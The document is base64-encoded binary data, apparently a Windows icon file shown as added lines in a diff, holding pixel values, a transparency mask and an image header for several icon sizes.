Tv9OTk7/Tk5O/05OTv9OTk7/Tk5O/05OTv9OTk7/Tk5O/05OTv9OTk7/Tk5O/05OTv9OTk7/Tk5O/0ND + Q/8HBwf3AAAAewAAAAX///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8BAAAAZRgYGP9GRkb/R0dH/0dHR/9HR0f/R0dH/0dH + R/9HR0f/R0dH/0dHR/9HR0f/R0dH/0dHR/9HR0f/R0dH/0dHR/9HR0f/R0dH/0dHR/9HR0f/R0dH/0dH + R/9HR0f/R0dH/0dHR/8pKSn/AAAA2QAAACv///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wEAAAAPAQEB1TY2Nv8/Pz//Pz8//z8/ + P/8/Pz//Pz8//z8/P/8/Pz//Pz8//z8/P/8/Pz//Pz8//z8/P/8/Pz//Pz8//z8/P/8/Pz//Pz8//z8/ + P/8/Pz//Pz8//z8/P/8/Pz//Pz8//z8/P/88PDz/CgoK/QAAAHsAAAAH////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wEAAABJEBAQ/Tg4 + OP83Nzf/Nzc3/zc3N/83Nzf/Nzc3/zc3N/83Nzf/Nzc3/zc3N/83Nzf/Nzc3/zc3N/83Nzf/Nzc3/zc3 + N/83Nzf/Nzc3/zc3N/83Nzf/Nzc3/zc3N/83Nzf/Nzc3/zc3N/83Nzf/Hh4e/wAAAMMAAAAb////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wEAAACZHh4e/y8vL/8vLy//Ly8v/y8vL/8vLy//Ly8v/y8vL/8vLy//Ly8v/y8vL/8vLy//Ly8v/y8v + L/8vLy//Ly8v/y8vL/8vLy//Ly8v/y8vL/8vLy//Ly8v/y8vL/8vLy//Ly8v/y8vL/8vLy//Kioq/wAA + AOsAAABB////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AQAAAAUCAgLTISEh/yUlJf8lJSX/JSUl/yUlJf8lJSX/JSUl/yUlJf8lJSX/JSUl/yUl + Jf8lJSX/JSUl/yUlJf8lJSX/JSUl/yUlJf8lJSX/JSUl/yUlJf8lJSX/JSUl/yUlJf8lJSX/JSUl/yUl + Jf8lJSX/JiYm/wYGBvsAAABrAAAAA////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////AQAAABsEBATtHBwc/x0dHf8dHR3/HR0d/x0dHf8dHR3/IiIi/ygo + KP8pKSn/Jycn/yMjI/8fHx//HR0d/x0dHf8dHR3/HR0d/x0dHf8dHR3/HR0d/x0dHf8dHR3/HR0d/x0d + Hf8dHR3/HR0d/x0dHf8dHR3/HR0d/woKCv8AAACNAAAAB////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AQAAACsEBAT1FBQU/xQUFP8UFBT/ExMT/yEh + If89PT3/R0dH/0VFRf9BQUH/PDw8/zY2Nv8vLy//JiYm/xsbG/8UFBT/FBQU/xQUFP8UFBT/FBQU/xQU + FP8UFBT/FBQU/xQUFP8UFBT/FBQU/xQUFP8UFBT/FBQU/wkJCf8AAAChAAAACf///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AQAAADEDAwP3CgoK/woK + Cv8KCgr/Kysr/1paWv9ZWVn/V1dX/1NTU/9PT0//SkpK/0RERP89PT3/NjY2/y4uLv8hISH/Dg4O/woK + Cv8KCgr/CgoK/woKCv8KCgr/CgoK/woKCv8KCgr/CgoK/woKCv8KCgr/CgoK/wUFBf8AAACnAAAACf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AQAA + AC8AAAD3AQEB/wEBAf8dHR3/Z2dn/2lpaf9oaGj/ZWVl/2FhYf9dXV3/WFhY/1FRUf9KSkr/Q0ND/zo6 + Ov8yMjL/JSUl/wcHB/8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wAA + AP8AAAChAAAACf///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AQAAACMAAADxAQEB/wICAv9cXFz/eHh4/3d3d/92dnb/c3Nz/29vb/9ra2v/ZWVl/15e + Xv9XV1f/T09P/0ZGRv89PT3/NDQ0/yMjI/8DAwP/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEB + Af8BAQH/AQEB/wAAAP8AAACPAAAABf///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////AQAAAAsAAADhAQEB/xUVFf+BgYH/hYWF/4WFhf+EhIT/gYGB/35+ + fv95eXn/c3Nz/2tra/9kZGT/W1tb/1JSUv9JSUn/Pz8//zU1Nf8ZGRn/AAAA/wEBAf8BAQH/AQEB/wEB + Af8BAQH/AQEB/wEBAf8BAQH/AQEB/wAAAP0AAABn////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wEAAACzAAAA/ykpKf+SkpL/k5OT/5OT + k/+SkpL/j4+P/4uLi/+FhYX/f39//3h4eP9vb2//Z2dn/11dXf9TU1P/SUlJ/z4+Pv8vLy//BAQE/wEB + Af8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wAAAPEAAAA7////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wEAAABrAAAA/y4u + Lv+fn5//oaGh/6Kiov+goKD/nZ2d/5iYmP+SkpL/i4uL/4ODg/97e3v/cXFx/2dnZ/9dXV3/UlJS/0dH + R/87Ozv/Dw8P/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AAAA/wAAAMsAAAAV////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wEAAAAdAAAA7R0dHf+oqKj/sLCw/7CwsP+vr6//rKys/6enp/+goKD/mJiY/4+Pj/+FhYX/fHx8/3Fx + cf9nZ2f/XFxc/1BQUP9FRUX/Ghoa/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AAAA/wAA + AHkAAAAD////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wEAAAADAAAAlQUFBf+ZmZn/vb29/7+/v/+9vb3/urq6/7S0tP+srKz/pKSk/5qa + mv+Pj4//hYWF/3p6ev9vb2//ZGRk/1dXV/9MTEz/HR0d/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEB + Af8AAAD/AAAA5QAAAB////8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8BAAAAHQAAAPNQUFD/zMzM/83Nzf/MzMz/yMjI/8DA + wP+4uLj/r6+v/6SkpP+ZmZn/jo6O/4KCgv93d3f/a2tr/15eXv9RUVH/FRUV/wEBAf8BAQH/AQEB/wEB + Af8BAQH/AQEB/wEBAf8AAAD9AAAAeQAAAAP///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AQAAAGsGBgb7nJyc/9zc + 3P/a2tr/1dXV/83Nzf/Dw8P/uLi4/62trf+hoaH/lZWV/4iIiP99fX3/cXFx/2RkZP9NTU3/BQUF/wAA + AP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAC7AAAAEf///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AQAA + AAcAAACfFRUV/8HBwf/p6en/4uLi/9fX1//MzMz/wMDA/7Ozs/+np6f/m5ub/42Njf+BgYH/dXV1/2ho + aP8lJSX/AAAA/wUFBf8PDw//AQEB/wAAAP8AAAD/AAAA/wAAAO0AAABFAAAAA////wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wEAAAAPAAAAsxcXF/+mpqb/7e3t/97e3v/S0tL/xcXF/7i4uP+rq6v/np6e/5GR + kf+EhIT/eXl5/zg4OP8CAgL/AQEB/xoaGv86Ojr/ERER/wAAAP8BAQH/AQEB/wAAAPcAAACnAAAAJ/// + /wH///8B////Af///wH///8B////Af///wH///8B////AQAAAA0AAAAdAAAAB////wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8BAAAABwAAAJsCAgL7RERE/6mpqf/Nzc3/ycnJ/7u7 + u/+urq7/oqKi/5GRkf9sbGz/Jycn/wAAAP8BAQH/AQEB/x0dHf9mZmb/PDw8/xEREf8BAQH/AAAA/xER + Ef8vLy/7AwMDlQAAAAf///8B////Af///wH///8BAAAABwABBBkAGVNFACiTgwAuwcMAJq7NAAAAKf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AQAAAAUAAABhAAAA4wQE + BP8eHh7/QkJC/1VVVf9TU1P/Pj4+/xwcHP8FBQX/AAAA/wEBAf8BAQH/AQEB/wcHB/93d3f/ZmZm/zo6 + Ov8QEBD/NDQ0/4yMjP97e3v/CAgIjwAAAAP///8B////AQA9kgkAL3dTAD6omwBJ1dcDWfH1DHn9/xaX + //8BN+vzAAoxTf///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8BAAAAGQAAAIcAAADpAAAA/wAAAP8AAAD/AAAA/wEBAf8BAQH/AQEB/wEBAf8AAAD/AAAA/wAA + APdCQkLvkpKS/19fX/9CQkL/mZ6j/5mZmf8+Pj7lAAAAK////wH///8B////AQBl8ysAcPvxBIr+/w2t + /v8Vuv7/FKD+/Q519tEBOO6HAB2RHf///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wEAAAALAAAATwAAAJkAAADHAAAA4QAAAOsAAADtAAAA5QAA + ANEAAACpAAAAawAAABsNDQ09dXV18VpaWv+jo6L/XpHN/zVNkPkEBAZxAAAAB////wH///8B////AQBk + 9wcBif3VBIz66QNr9bEASe1rADjOI////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wEAAAAHAAAAEQAA + ABcAAAAZAAAAEwAAAAv///8B////Af///wEAAAADGRkZYVNTU/mdnZ3/SkxQ3wAh1KcAAa+7AABEbwAA + CjEAAAAXAAAACf///wEAVtkvAECyHQAwiwP///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////ARUVFVMaGhppAAAAGwAI + 6AMAAPY/AADclwAAqMEAAHq1AABDdwAAAAsAR7Z7ABM0dQAAACEAAAAD////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////AQAAwwMAAJ0bAAB3IQBX1T0AcPz3AFn0+wA0ncsAEDNtAAAAHwAA + AAP///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AQAIFQ0AF0g3ABA1SQBj6l0Dm/7pCaX//wVv + /v8ARuf1ACeSvQAII1sAAAAZAAAAA////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AQBl5JMEfevvADWt0QAA + ABsAZvkhBoj9kRGz/vcUrP7/Bl7+/wAz3vEAGn6bAAAADf///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AQBt + +4UKsP//Ak7h8wAAAkH///8B////AQFU+iUPkP2hIcv+9Qph/f0AIqR1AAAAA////wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AQBe+kULp/77B279/wARQnUAAAAF////Af///wEAP/YFCGD6NwE88IsAFFoT////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////AQBb8xcIkP7pDpT+/wAjja0AAAAP////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wEFdfy3GL3//wAtwNkAAQUp////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wECX/pzHMn//wRH + 5fMACi5R////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wEAU/o1DYT++wVN9uEAGnxB////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wEAUPkFAEXnJQAaZQP///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AQAAAAAAAP//AAAAAAAA//8AAAAAAAD//wAA + AAAAAP//AAAAAAAA//8AAAAAAAD//wAAAAAAAP//AAAAAAAA//8AAAAAAAD//wAAAAAAAP//AAAAAAAA + //8AAAAAAAD//wAAAAAAAP//AAAAAAAA//8AAAAAAAD//wAAAAAAAP//AAAAAAAA//8AAAAAAAD//wAA + AAAAAP//AAAAAAAA//8AAAAAAAD//wAAAAAAAP//AAAAAAAA//8AAAAAAAD//wAAAAAAAP//AAAAAAAA + //8AAAAAAAD//wAAAAAAAP//AAAAAAAA//8AAAAAAAD//wAAAAAAAP//AAAAAAAA//8AAAAAAAD//wAA + AAAAAP//AAAAAAAA//8AAAAAAAD//wAAAAAAAP//AAAAAAAA//8AAAAAAAD//wAAAAAAAP//AAAAAAAA + //8AAAAAAAD//wAAAAAAAP//AAAAAAAA//8AAAAAAAD//wAAAAAAAP//AAAAAAAA//8AAAAAAAD//ygA + AABAAAAAgAAAAAEAIAAAAAAAAEIAAAAAAAAAAAAAAAAAAAAAAAD///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BAAAABQAA + AA0AAAARAAAAEQAAABEAAAARAAAACwAAAAX///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BAAAAAwAA + ABEAAAAvAAAAVwAAAIMAAACdAAAArQAAAK8AAACvAAAApwAAAJUAAABzAAAAUQAAAC8AAAARAAAAA/// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wEAAAAHAAAAJQAAAHMAAAC7AAAA6QAAAP0FBQX/EhIS/xoaGv8dHR3/Ghoa/xISEv8FBQX/AAAA/QAA + AO8AAADPAAAAnQAAAF0AAAAlAAAAB////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AQAAAAMAAAAlAAAAiQAAAOMDAwP/ICAg/0RERP9hYWH/b29v/3R0dP91dXX/dnZ2/3V1 + df90dHT/b29v/2BgYP9ERET/Hx8f/wMDA/8AAADtAAAAtwAAAGcAAAAjAAAAA////wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////AQAAAA0AAABpAAAA4wgICP84ODj/ZmZm/3Fxcf9vb2//bm5u/29v + b/9vb2//b29v/29vb/9vb2//b29v/29vb/9ubm7/b29v/3Fxcf9lZWX/Nzc3/wgICP8AAADvAAAAqQAA + AE0AAAAN////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AQAAAB0AAACpAgIC/S8vL/9lZWX/a2tr/2pq + av9qamr/ampq/2pqav9qamr/ampq/2pqav9qamr/ampq/2pqav9qamr/ampq/2pqav9qamr/ampq/2xs + bP9lZWX/Li4u/wICAv0AAADVAAAAcQAAABn///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AQAAACsAAADPDAwM/09P + T/9nZ2f/ZWVl/2VlZf9lZWX/ZWVl/2VlZf9lZWX/ZWVl/2VlZf9lZWX/ZWVl/2VlZf9lZWX/ZWVl/2Vl + Zf9lZWX/ZWVl/2VlZf9lZWX/ZWVl/2dnZ/9PT0//DAwM/wAAAOkAAACHAAAAH////wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AQAA + ACsAAADZFRUV/1paWv9gYGD/YWFh/2FhYf9hYWH/YWFh/2FhYf9hYWH/YWFh/2FhYf9hYWH/YWFh/2Fh + Yf9hYWH/YWFh/2FhYf9hYWH/YWFh/2FhYf9hYWH/YWFh/2FhYf9hYWH/YGBg/1paWv8VFRX/AAAA7wAA + AIkAAAAd////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AQAAABsAAADVFxcX/1paWv9bW1v/W1tb/1tbW/9bW1v/W1tb/1tbW/9bW1v/W1tb/1tb + W/9bW1v/W1tb/1tbW/9bW1v/W1tb/1tbW/9bW1v/W1tb/1tbW/9bW1v/W1tb/1tbW/9bW1v/W1tb/1tb + W/9bW1v/Wlpa/xYWFv8AAADtAAAAfQAAABP///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////AQAAAAcAAAC1Dg4O/1NTU/9WVlb/VlZW/1ZWVv9WVlb/VlZW/1ZW + Vv9WVlb/VlZW/1ZWVv9WVlb/VlZW/1ZWVv9WVlb/VlZW/1ZWVv9WVlb/VlZW/1ZWVv9WVlb/VlZW/1ZW + Vv9WVlb/VlZW/1ZWVv9WVlb/VlZW/1ZWVv9TU1P/Dg4O/wAAAN8AAABfAAAAB////wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wEAAABxBQUF/0dHR/9RUVH/UVFR/1FR + Uf9RUVH/UVFR/1FRUf9RUVH/UVFR/1FRUf9RUVH/UVFR/1FRUf9RUVH/UVFR/1FRUf9RUVH/UVFR/1FR + Uf9RUVH/UVFR/1FRUf9RUVH/UVFR/1FRUf9RUVH/UVFR/1FRUf9RUVH/UVFR/0dHR/8EBAT/AAAAwwAA + ADf///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wEAAAAjAAAA8S8v + L/9MTEz/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9MTEz/Ly8v/wAAAPkAAACJAAAAEf///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8BAAAAnxAQEP9GRkb/RkZG/0ZGRv9GRkb/RkZG/0ZGRv9GRkb/RkZG/0ZGRv9GRkb/RkZG/0ZG + Rv9GRkb/RkZG/0ZGRv9GRkb/RkZG/0ZGRv9GRkb/RkZG/0ZGRv9GRkb/RkZG/0ZGRv9GRkb/RkZG/0ZG + Rv9GRkb/RkZG/0ZGRv9GRkb/RkZG/0ZGRv8PDw//AAAA2QAAAEX///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8BAAAAIwAAAPcxMTH/QEBA/0BAQP9AQED/QEBA/0BAQP9AQED/QEBA/0BA + QP9AQED/QEBA/0BAQP9AQED/QEBA/0BAQP9AQED/QEBA/0BAQP9AQED/QEBA/0BAQP9AQED/QEBA/0BA + QP9AQED/QEBA/0BAQP9AQED/QEBA/0BAQP9AQED/QEBA/0BAQP9AQED/MTEx/wAAAP0AAACLAAAADf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AQAAAIUMDAz/Ozs7/zo6Ov86Ojr/Ojo6/zo6 + Ov86Ojr/Ojo6/zo6Ov86Ojr/Ojo6/zo6Ov86Ojr/Ojo6/zo6Ov86Ojr/Ojo6/zo6Ov86Ojr/Ojo6/zo6 + Ov86Ojr/Ojo6/zo6Ov86Ojr/Ojo6/zo6Ov86Ojr/Ojo6/zo6Ov86Ojr/Ojo6/zo6Ov86Ojr/Ojo6/zs7 + O/8MDAz/AAAAzQAAAC////8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AQAAAAUAAADdICAg/zQ0 + NP80NDT/NDQ0/zQ0NP80NDT/NDQ0/zQ0NP80NDT/NDQ0/zQ0NP80NDT/NDQ0/zQ0NP80NDT/NDQ0/zQ0 + NP80NDT/NDQ0/zQ0NP80NDT/NDQ0/zQ0NP80NDT/NDQ0/zQ0NP80NDT/NDQ0/zQ0NP80NDT/NDQ0/zQ0 + NP80NDT/NDQ0/zQ0NP80NDT/Hx8f/wAAAPEAAABdAAAAA////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wEAAAAvAQEB/yoqKv8uLi7/Li4u/y4uLv8uLi7/Li4u/y4uLv8uLi7/Li4u/y4uLv8uLi7/Li4u/y4u + Lv8uLi7/Li4u/y4uLv8uLi7/Li4u/y4uLv8uLi7/Li4u/y4uLv8uLi7/Li4u/y4uLv8uLi7/Li4u/y4u + Lv8uLi7/Li4u/y4uLv8uLi7/Li4u/y4uLv8uLi7/Li4u/yoqKv8AAAD/AAAAkQAAAA3///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8BAAAAawcHB/8nJyf/Jycn/ycnJ/8nJyf/Jycn/ycnJ/8nJyf/Jycn/ycn + J/8nJyf/Jycn/ycnJ/8nJyf/Jycn/ycnJ/8nJyf/Jycn/ycnJ/8nJyf/Jycn/ycnJ/8nJyf/Jycn/ycn + J/8nJyf/Jycn/ycnJ/8nJyf/Jycn/ycnJ/8nJyf/Jycn/ycnJ/8nJyf/Jycn/ycnJ/8nJyf/BwcH/wAA + ALsAAAAb////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AQAAAKENDQ3/ISEh/yAgIP8gICD/ICAg/yAg + IP8gICD/ICAg/yAgIP8fHx//Hx8f/yAgIP8gICD/ICAg/yAgIP8gICD/ICAg/yAgIP8gICD/ICAg/yAg + IP8gICD/ICAg/yAgIP8gICD/ICAg/yAgIP8gICD/ICAg/yAgIP8gICD/ICAg/yAgIP8gICD/ICAg/yAg + IP8gICD/ISEh/wwMDP8AAADZAAAAL////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wEAAADDDg4O/xoa + Gv8aGhr/Ghoa/xoaGv8aGhr/Ghoa/xkZGf8iIiL/MDAw/zY2Nv83Nzf/NTU1/zExMf8sLCz/JiYm/x8f + H/8aGhr/GRkZ/xoaGv8aGhr/Ghoa/xoaGv8aGhr/Ghoa/xoaGv8aGhr/Ghoa/xoaGv8aGhr/Ghoa/xoa + Gv8aGhr/Ghoa/xoaGv8aGhr/Ghoa/xoaGv8ODg7/AAAA5wAAAD////8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8BAAAA1wwMDP8TExP/ExMT/xMTE/8TExP/EhIS/x0dHf9AQED/TExM/0pKSv9HR0f/RERE/0FB + Qf89PT3/OTk5/zMzM/8vLy//KSkp/x4eHv8UFBT/EhIS/xMTE/8TExP/ExMT/xMTE/8TExP/ExMT/xMT + E/8TExP/ExMT/xMTE/8TExP/ExMT/xMTE/8TExP/ExMT/xMTE/8TExP/DAwM/wAAAPEAAABJ////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////AQAAAOEICAj/DAwM/wwMDP8MDAz/CgoK/ycnJ/9YWFj/WFhY/1dX + V/9UVFT/UlJS/09PT/9LS0v/R0dH/0NDQ/8+Pj7/OTk5/zMzM/8uLi7/JiYm/xQUFP8LCwv/DAwM/wwM + DP8MDAz/DAwM/wwMDP8MDAz/DAwM/wwMDP8MDAz/DAwM/wwMDP8MDAz/DAwM/wwMDP8MDAz/DAwM/wgI + CP8AAAD1AAAAS////wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wEAAADhAwMD/wQEBP8EBAT/AwMD/x4e + Hv9lZWX/ZGRk/2NjY/9hYWH/X19f/11dXf9ZWVn/VlZW/1JSUv9NTU3/SEhI/0JCQv89PT3/Nzc3/zEx + Mf8qKir/FhYW/wMDA/8EBAT/BAQE/wQEBP8EBAT/BAQE/wQEBP8EBAT/BAQE/wQEBP8EBAT/BAQE/wQE + BP8EBAT/BAQE/wQEBP8CAgL/AAAA8wAAAEn///8B////Af///wH///8B////Af///wH///8B////Af// + 